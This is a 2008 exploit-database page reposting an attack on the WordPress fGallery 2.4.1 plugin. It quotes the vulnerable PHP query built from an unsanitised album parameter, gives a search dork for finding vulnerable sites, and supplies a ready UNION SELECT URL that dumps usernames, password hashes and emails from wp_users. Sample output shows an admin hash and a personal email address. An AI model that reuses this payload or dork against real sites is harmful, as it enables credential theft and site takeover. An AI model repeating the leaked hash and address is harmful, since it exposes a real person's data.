|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  ExploitAlert Database |
||
ExploitAlert : 3265 Credit : Houssamix Date : 28.01.2008 Exploit Code : -------------------------------------------------------------- H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo -------------------------------------------------------------- # Author : Houssamix From H-T Team # Script : Wordpress Plugin fGallery 2.4.1 # Download : http://www.fahlstad.se/wp-plugins/fgallery/ # BUG : Remote SQL Injection Vulnerability # Dork : inurl:/wp-content/plugins/fgallery/ ## Vulnerable CODE : ~~~~~~~ /wp-content/plugins/fgallery/fim_rss.php ~~~~~~~~~~~~~ $cat = $wpdb->get_row("SELECT * FROM $cats WHERE id = $_GET[album]"); $images = $wpdb->get_results("SELECT * FROM $imgs WHERE cat = $_GET[album] AND status = 'include'"); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Exploit : [Target.il]/[wordpress_path]//wp-content/plugins/fgallery/fim_rss.php?album =-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email), 3,4,5,6,7%20from%20wp_users-- Exemple : http://site.il/wordpress/wp-content/plugins/fgallery/fim_rss.php?album=-1%2 0union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5 ,6,7%20from%20wp_users-- src='http://site.il/wordpress/wp-content/fgallery/thumb_admin:051e3db4c8eee 42d7c93df48dffe4d5f:markus@swimatyourownrisk.com' /><br>5 markus@swimatyourownrisk.com Thu, 01 Jan 1970 00:00:00 +0100 Info => admin:051e3db4c8eee42d7c93df48dffe4d5f:markus@swimatyourownrisk.com admin login http://target.il/wordpress_path/wp/wp-login.php # Gr33tz : V40 (Stack-Terrorist) - Mahmood_ali - weliem & all muslims hackers ------------------------|| Viva Palestine ||------------------------------ ------------------------|| FREE GaZZA ||------------------------------  Feedback : If you have additional information or notice any errors regarding this exploit, please use contact form or email us at exploit()securityreason()com. |
||
| Alert | ||
libc:fts_*() Multiple Denial of Service
The fts functions are provided for traversing UNIX file hierarchies... |
||
| Apache |  |
|
» Apache Tomcat 6.0.20 and |
||
» Apache Tomcat 6.0.20 and |
||
» Apache Tomcat 6.0.20 and |
||
| PHP | |
|
- 2009-10-02| Copyright © SecurityReason.com. All Rights Reserved. |